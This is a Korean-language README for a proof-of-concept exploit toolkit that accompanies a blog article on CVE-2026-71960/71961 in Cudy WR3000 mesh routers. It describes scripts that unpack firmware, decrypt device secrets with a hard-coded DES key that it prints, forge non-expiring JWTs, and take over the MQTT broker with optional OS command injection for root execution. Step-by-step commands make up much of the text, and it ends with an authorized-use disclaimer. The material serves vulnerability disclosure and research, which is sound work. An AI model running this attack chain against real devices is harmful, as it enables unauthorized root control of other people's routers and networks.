
라우터 펌웨어를 언패킹하고, 장치 비밀정보를 복호화하며, JWT 토큰을 위조하고, CVE-2026-71960/71961을 악용하여 Cudy WR3000 메시 MQTT 브로커를 장악하는 PoC 툴킷입니다.
Hunt-Benito 기사를 위한 PoC 도구 모음 "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
동일한 MQTT 메시 인터페이스를 통한 OS 명령 주입 취약점인 CVE-2026-71961과 연계하여, 2.5.24 이전 펌웨어를 실행하는 Cudy WR3000 2.0 메시의 모든 노드에서 루트 명령 실행까지 도달할 수 있습니다.
| 파일 | 용도 |
|---|---|
extract_firmware.py | 공개된 Cudy sysupgrade .bin(hboot1tag + UBI)을 전체 OpenWrt 파일시스템으로 압축 해제합니다. 2.4.14 / 2.4.15 / 2.5.24에서 검증되었습니다. |
decrypt_bdinfo.py | DES 키(DES_string_to_key("88T3j05dtFu8="), 제로 IV — libbdinfo.so에서 추출)를 도출하고, 본인 기기의 bdinfo MTD 덤프를 복호화하여 deviceid와 플릿 전체 공용 secret을 노출합니다. |
forge_jwt.py | mosquitto_auth_unpwd_check의 모든 검사를 통과하는 HS256 토큰을 발행합니다(exp 하한 1577826000, deviceid를 포함한 username grant). 라운드트립 자체 검증을 수행합니다. |
mqtt_takeover.py | 위조된 JWT로 TCP 1883의 브로커에 CONNECT하고 router/#를 구독하며, (선택적으로 --cmd로) CVE-2026-71961의 command.lua → io.popen 싱크를 실행합니다. |
pip install pycryptodome pyjwt paho-mqtt
# 1. 공개 펌웨어 압축 해제 (기기 불필요)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. 이미지에 DES 키 리터럴이 포함되어 있는지 확인
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. 본인 기기의 bdinfo 덤프 복호화 (2.4.x는 /dev/mtd* 노출)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. 복구된 deviceid/secret으로 토큰 위조
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. 수동: 인증 후 메시 네트워크에서 수신 대기
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so는 브로커 시작 시 bdinfo_get_value("deviceid")와
bdinfo_get_value("secret")을 호출하며, 이 secret 값은 모든 메시 JWT의
HS256 서명 키입니다.exp 검사는 exp >= 1577826000(2019-12-31T21:00:00Z)이며,
time() 호출 결과와 비교하지 않으므로 토큰은 실제로 만료되지 않습니다.alg: none은 거부됩니다(키가 제공되면 EINVAL 발생). 즉, secret이 실제로
필요하며 alg 혼동 우회 경로는 없습니다.mosquitto_auth_acl_check()는 무조건 SUCCESS를 반환하므로, 인증된 CONNECT는
모든 토픽에 대한 읽기/쓰기 권한을 부여합니다.0.0.0.0:1883(2.4.x)은 TLS 클라이언트 인증서가 필요 없음을
의미합니다. 수정된 펌웨어 2.5.24는 1883 리스너를 제거하고, bdinfo secret을
완전히 삭제하며, 상호 TLS에 의존합니다.승인된 보안 연구 및 교육 목적으로만 사용하십시오. 소유했거나 명시적인 서면 테스트 허가를 받은 기기에 대해서만 실행하십시오. 저자는 오용에 대해 책임을 지지 않습니다.